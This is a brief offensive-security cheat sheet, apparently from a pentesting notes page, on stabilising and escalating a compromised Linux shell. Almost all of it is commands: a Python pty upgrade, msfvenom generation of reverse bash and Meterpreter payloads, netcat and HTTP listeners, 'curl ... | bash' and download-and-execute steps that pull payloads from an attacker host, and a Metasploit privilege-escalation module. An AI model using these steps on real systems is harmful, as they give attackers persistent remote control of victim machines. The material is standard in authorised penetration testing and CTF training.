Shell Upgrades
Using Python Pty
#In the dumb shell
python -c 'import pty; pty.spawn("/bin/bash")'
# ^Z to stop the netcat session. Then type
stty raw -echo; fgMetasploit (Linux):
Generate your payloads:
msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=1234 -f raw > shell.sh
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.binStart listener and server:
python3 -m http.server
nc -nlvp 1234Use your unstable shell to download the stable shell bin:
curl <ip>:8000/shell.sh | bashStart your meterpreter listener:
set payload linux/x86/meterpreter/reverse_tcp
use exploit/multi/handler
exploitDownload your meterpreter payload and run it:
curl -o /tmp/shell.bin <ip>:8000/shell.bin
chmod +x /tmp/shell.bin
cd /tmp
./shell.binElevate the shell's permissions:
^Z
use post/multi/recon/local_exploit_suggester
exploitLast updated